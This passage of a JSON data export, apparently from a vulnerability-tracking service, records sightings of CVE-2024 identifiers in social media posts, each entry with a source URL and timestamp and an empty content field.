"CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo6lt7ovy2b", "content": "", "creation_timestamp": "2025-01-14T02:15:47.755954Z"}, {"uuid": "a8e38b16-9f4c-4dc2-8a31-e55317db162a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfp4qwyjix2z", "content": "", "creation_timestamp": "2025-01-14T11:15:31.783211Z"}, {"uuid": "e797a0f3-0a6b-4235-895e-23cf6bf404e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113828366476462278", "content": "", "creation_timestamp": "2025-01-14T19:30:36.501195Z"}, {"uuid": "3a31fd26-3256-4740-b303-b291ff9be477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.349863Z"}, {"uuid": "f740bfee-e72f-4806-a676-84ce1570f249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhwgpgp2f", "content": "", "creation_timestamp": "2025-01-07T05:17:17.913276Z"}, {"uuid": "ced807b4-b31e-4630-83cc-ef7696d5edf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5aycl7st2k", "content": "", "creation_timestamp": "2025-01-07T08:43:18.349259Z"}, {"uuid": "d67033b0-af06-4c77-874c-3caa267fbba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223205803958", "content": "", "creation_timestamp": "2025-01-09T11:44:44.228273Z"}, {"uuid": "529a106a-44c7-4548-ab5c-a64b3d81e4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdkx4ri25", "content": "", "creation_timestamp": "2025-01-11T08:16:13.676631Z"}, {"uuid": "e707e569-a7b7-4beb-9b8e-709138da60c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfp4rlm5zq2f", "content": "", "creation_timestamp": "2025-01-14T11:15:53.201698Z"}, {"uuid": "e35aced1-52b6-4290-8894-ce7bd4a14563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12984", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecbrin3ev2f", "content": "", "creation_timestamp": "2024-12-27T15:15:30.755611Z"}, {"uuid": "73bf8878-9946-4dbf-82c6-f7244ca1c17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12985", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecbrkyrjv2i", "content": "", "creation_timestamp": "2024-12-27T15:15:34.059130Z"}, {"uuid": "c417f93d-95dc-49fb-b49c-cdd396cc45ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhzclbm2e", "content": "", "creation_timestamp": "2025-01-07T05:17:20.480437Z"}, {"uuid": "155c2be3-517b-48f3-942a-f3d12e5c304c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5aycy3m42e", "content": "", "creation_timestamp": "2025-01-07T08:43:19.442634Z"}, {"uuid": "bc62d877-718e-4134-8d33-ec60e9684d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfb5czoh4p2b", "content": "", "creation_timestamp": "2025-01-08T21:48:22.073546Z"}, {"uuid": "df9b9e7b-92a9-4cff-a72a-a658ae67a0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223220140152", "content": "", "creation_timestamp": "2025-01-09T11:44:44.366900Z"}, {"uuid": "d0444d95-f053-44bd-91c8-775ae5d57191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vi5xuu625", "content": "", "creation_timestamp": "2025-01-07T05:17:25.322910Z"}, {"uuid": "9c4ba24d-4a78-4008-81e5-8df17c9a2f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223234461633", "content": "", "creation_timestamp": "2025-01-09T11:44:44.731338Z"}, {"uuid": "dd67b0b7-7525-4b06-b94f-3fc841d1672e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfjaylsdu22z", "content": "", "creation_timestamp": "2025-01-12T03:15:25.413553Z"}, {"uuid": "fd693d8a-d237-4f39-ae8d-39569491d027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lfnpje5hl224", "content": "", "creation_timestamp": "2025-01-13T21:46:02.025267Z"}, {"uuid": "40029511-7877-49b4-9ae2-df69480df092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfv6rb3wys2y", "content": "", "creation_timestamp": "2025-01-16T21:07:28.053727Z"}, {"uuid": "645ed54d-b9e1-403f-a391-266ecdd96351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873447761027", "content": "", "creation_timestamp": "2025-01-09T06:01:28.601322Z"}, {"uuid": "b037acad-fdbc-4ef6-ab18-edf4b781db78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113808854560997226", "content": "", "creation_timestamp": "2025-01-11T08:48:27.427928Z"}, {"uuid": "42b51ec5-211f-4a29-9bd5-ca93897fb087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuamn6kb2h", "content": "", "creation_timestamp": "2025-01-14T18:15:53.624966Z"}, {"uuid": "0bd083a5-6d57-41a9-94c2-f2667b27562b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113786206156595654", "content": "", "creation_timestamp": "2025-01-07T08:48:38.582110Z"}, {"uuid": "be04f76b-bb6b-4495-a967-1e7f26bb7ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873461465275", "content": "", "creation_timestamp": "2025-01-09T06:01:28.740207Z"}, {"uuid": "6ed2f9c7-90e1-4f23-b669-22a9d58ed1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113798237964155232", "content": "", "creation_timestamp": "2025-01-09T11:48:29.340128Z"}, {"uuid": "527bb86b-e36c-4d5d-987c-04228eddfd0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113798238016028473", "content": "", "creation_timestamp": "2025-01-09T11:48:31.633664Z"}, {"uuid": "2158fe76-3ac2-4f2b-a3ca-e527582730b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bd5742e", "content": "", "creation_timestamp": "2025-01-11T08:49:03.189192Z"}, {"uuid": "3fc0c1c1-0f9f-481c-99e7-a6dce5c1788f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bgjhq25", "content": "", "creation_timestamp": "2025-01-11T08:49:03.733559Z"}, {"uuid": "f9bf9916-15d3-42b6-b589-b5d0fec01acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796873475358888", "content": "", "creation_timestamp": "2025-01-09T06:01:28.923388Z"}, {"uuid": "f95d9d2e-b233-42ad-97a3-7a248617a925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjtoamq2e", "content": "", "creation_timestamp": "2025-01-09T11:53:16.600294Z"}, {"uuid": "8a7ed8bc-075f-4768-b845-bc18c3955d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bmjy42e", "content": "", "creation_timestamp": "2025-01-11T08:49:04.301401Z"}, {"uuid": "5f34a655-dedd-42e4-80a2-46fd3a81cad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuacvriv2n", "content": "", "creation_timestamp": "2025-01-14T18:15:43.349819Z"}, {"uuid": "8ba48ecf-fbe9-49ae-9e4e-6a7f928d661d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjufah62k", "content": "", "creation_timestamp": "2025-01-09T11:53:17.446809Z"}, {"uuid": "5f7987c7-1ae5-42cf-a516-ba83e28e3616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6bqtd22q", "content": "", "creation_timestamp": "2025-01-11T08:49:04.891259Z"}, {"uuid": "4b2d6643-ff17-4086-9024-188913794d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuaeymdq2j", "content": "", "creation_timestamp": "2025-01-14T18:15:45.556380Z"}, {"uuid": "0186f1de-2929-4b49-be5c-e8b9d8e40988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5muickv22i", "content": "", "creation_timestamp": "2025-01-07T12:15:55.247777Z"}, {"uuid": "696426a0-ec40-47d2-a62c-b6516b5308b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzoe4mzz22", "content": "", "creation_timestamp": "2025-01-09T06:15:46.789609Z"}, {"uuid": "2017286a-3a9a-4b9f-b58a-b3beaf43bba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjuijgy2e", "content": "", "creation_timestamp": "2025-01-09T11:53:17.979330Z"}, {"uuid": "f5b68ae3-f4e0-4f79-8cda-e7e1ed7a8a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113801915599011221", "content": "", "creation_timestamp": "2025-01-10T03:23:45.480668Z"}, {"uuid": "d1731dd1-533d-416d-8a89-d7c409a72979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113801915632258646", "content": "", "creation_timestamp": "2025-01-10T03:23:46.077348Z"}, {"uuid": "e1bc67a9-5919-40fd-b462-472588d56b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuahdjxc2n", "content": "", "creation_timestamp": "2025-01-14T18:15:48.039752Z"}, {"uuid": "b9747fa5-4aea-4bc1-941e-5f0e702ad4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lfpzd6dfim72", "content": "", "creation_timestamp": "2025-01-14T19:47:16.251221Z"}, {"uuid": "c80ef402-b03e-440a-9487-8c2b9646bed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373317643206", "content": "", "creation_timestamp": "2025-01-07T09:31:09.204564Z"}, {"uuid": "eae4b9ec-cd62-4dc3-a987-e2fe69bbcc97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mukj6nh2m", "content": "", "creation_timestamp": "2025-01-07T12:15:57.159719Z"}, {"uuid": "9895934c-9e5f-48ce-8cb6-9a7fb2f03a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzogzb572d", "content": "", "creation_timestamp": "2025-01-09T06:15:49.791368Z"}, {"uuid": "58a1314e-49f9-4f53-a829-29fdf5e0cf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzojst4j22", "content": "", "creation_timestamp": "2025-01-09T06:15:52.722450Z"}, {"uuid": "8454618d-c7ca-4d74-bcb5-8ff8f346293d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796932492439394", "content": "", "creation_timestamp": "2025-01-09T06:16:29.930703Z"}, {"uuid": "8b8aef63-91f3-4ad6-a00c-283801654185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcmjulrbo2g", "content": "", "creation_timestamp": "2025-01-09T11:53:18.527322Z"}, {"uuid": "e9e754b6-0fd3-4ff7-969f-846865a81e62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373333021847", "content": "", "creation_timestamp": "2025-01-07T09:31:09.614509Z"}, {"uuid": "2219677f-5026-4ace-a887-68c83faadf7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mumth3c25", "content": "", "creation_timestamp": "2025-01-07T12:15:59.664814Z"}, {"uuid": "79cc7465-f600-4db1-8cf6-43e9a5ab0f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzolxtsl2l", "content": "", "creation_timestamp": "2025-01-09T06:15:54.986303Z"}, {"uuid": "fe336ace-1c73-4d4f-9e2e-2dd13f3d451e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12285", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282237545342", "content": "", "creation_timestamp": "2025-01-09T11:59:44.839373Z"}, {"uuid": "e7b016ba-f4ab-4190-bc1b-322ec60cc33d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpuajjjnu2r", "content": "", "creation_timestamp": "2025-01-14T18:15:50.333918Z"}, {"uuid": "500f76ec-db24-4eca-8540-14af66e12fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496346083664", "content": "", "creation_timestamp": "2025-01-07T05:48:08.186448Z"}, {"uuid": "36eb29e2-27d6-4652-99cb-a499a449eee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113786373348142872", "content": "", "creation_timestamp": "2025-01-07T09:31:09.817782Z"}, {"uuid": "0c4f88f0-78c7-4044-a9fe-834e733dcfca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5mumth3c25", "content": "", "creation_timestamp": "2025-01-07T12:15:59.675165Z"}, {"uuid": "b381183e-7d9e-48b8-bbd5-3f6d82ef0ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfbzoofiwo2k", "content": "", "creation_timestamp": "2025-01-09T06:15:57.592345Z"}, {"uuid": "3782a296-a7db-436d-8c20-4d138e27060c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282266042322", "content": "", "creation_timestamp": "2025-01-09T11:59:45.340175Z"}, {"uuid": "180d3599-f660-49e3-9831-7fd301daae35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282251844866", "content": "", "creation_timestamp": "2025-01-09T11:59:45.410894Z"}, {"uuid": "d1490f71-f981-47d3-8d01-adf49fc1217b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798282280011239", "content": "", "creation_timestamp": "2025-01-09T11:59:45.645197Z"}, {"uuid": "48199a02-d5b9-436a-b535-060c606d09fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfhd6ccnua25", "content": "", "creation_timestamp": "2025-01-11T08:49:07.143463Z"}, {"uuid": "b4c7065d-6e41-4349-ab7d-60723f6b14ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrqmy73zh2c", "content": "", "creation_timestamp": "2025-01-15T12:16:32.957757Z"}, {"uuid": "689acf40-6f66-4ba4-8bdd-95883bbe0772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496399684077", "content": "", "creation_timestamp": "2025-01-07T05:48:08.498441Z"}, {"uuid": "83910d0a-80d9-444e-8ec2-efce2e76cc1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5muozicb2l", "content": "", "creation_timestamp": "2025-01-07T12:16:02.033405Z"}, {"uuid": "2bfa581c-472f-46a6-9f2c-6bb2591cc598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113796932478379742", "content": "", "creation_timestamp": "2025-01-09T06:16:29.121647Z"}, {"uuid": "9c0da31d-6b87-48c4-9551-6abe5492baad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfedhekzoj22", "content": "", "creation_timestamp": "2025-01-10T04:16:09.664180Z"}, {"uuid": "4aced292-4dad-42df-bd91-a427e3c142e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfedhhlvmb2e", "content": "", "creation_timestamp": "2025-01-10T04:16:12.823039Z"}, {"uuid": "b80459d5-5e4f-4642-8492-b3fb4f7effe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113824425156536007", "content": "", "creation_timestamp": "2025-01-14T02:48:14.297106Z"}, {"uuid": "dca33950-9dfe-4bb1-9c18-d91904e424dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp6tzw45c2e", "content": "", "creation_timestamp": "2025-01-14T11:53:02.972104Z"}, {"uuid": "37828523-0b2a-4cf2-bb6a-a937550b8213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496445259609", "content": "", "creation_timestamp": "2025-01-07T05:48:09.418464Z"}, {"uuid": "7d473979-9c9c-4cdf-b78a-2b376e013b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5murcvvk25", "content": "", "creation_timestamp": "2025-01-07T12:16:04.339516Z"}, {"uuid": "7e912f9a-4e7e-4407-9994-931139f83216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfefavk7fa2k", "content": "", "creation_timestamp": "2025-01-10T04:48:20.030739Z"}, {"uuid": "f9c657d0-14d7-4464-a2cb-efcd1b6fd5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496497144467", "content": "", "creation_timestamp": "2025-01-07T05:48:09.911706Z"}, {"uuid": "1c8baa65-52fe-4f91-a1af-2a2940ab0783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12473", "type": "seen", "source": 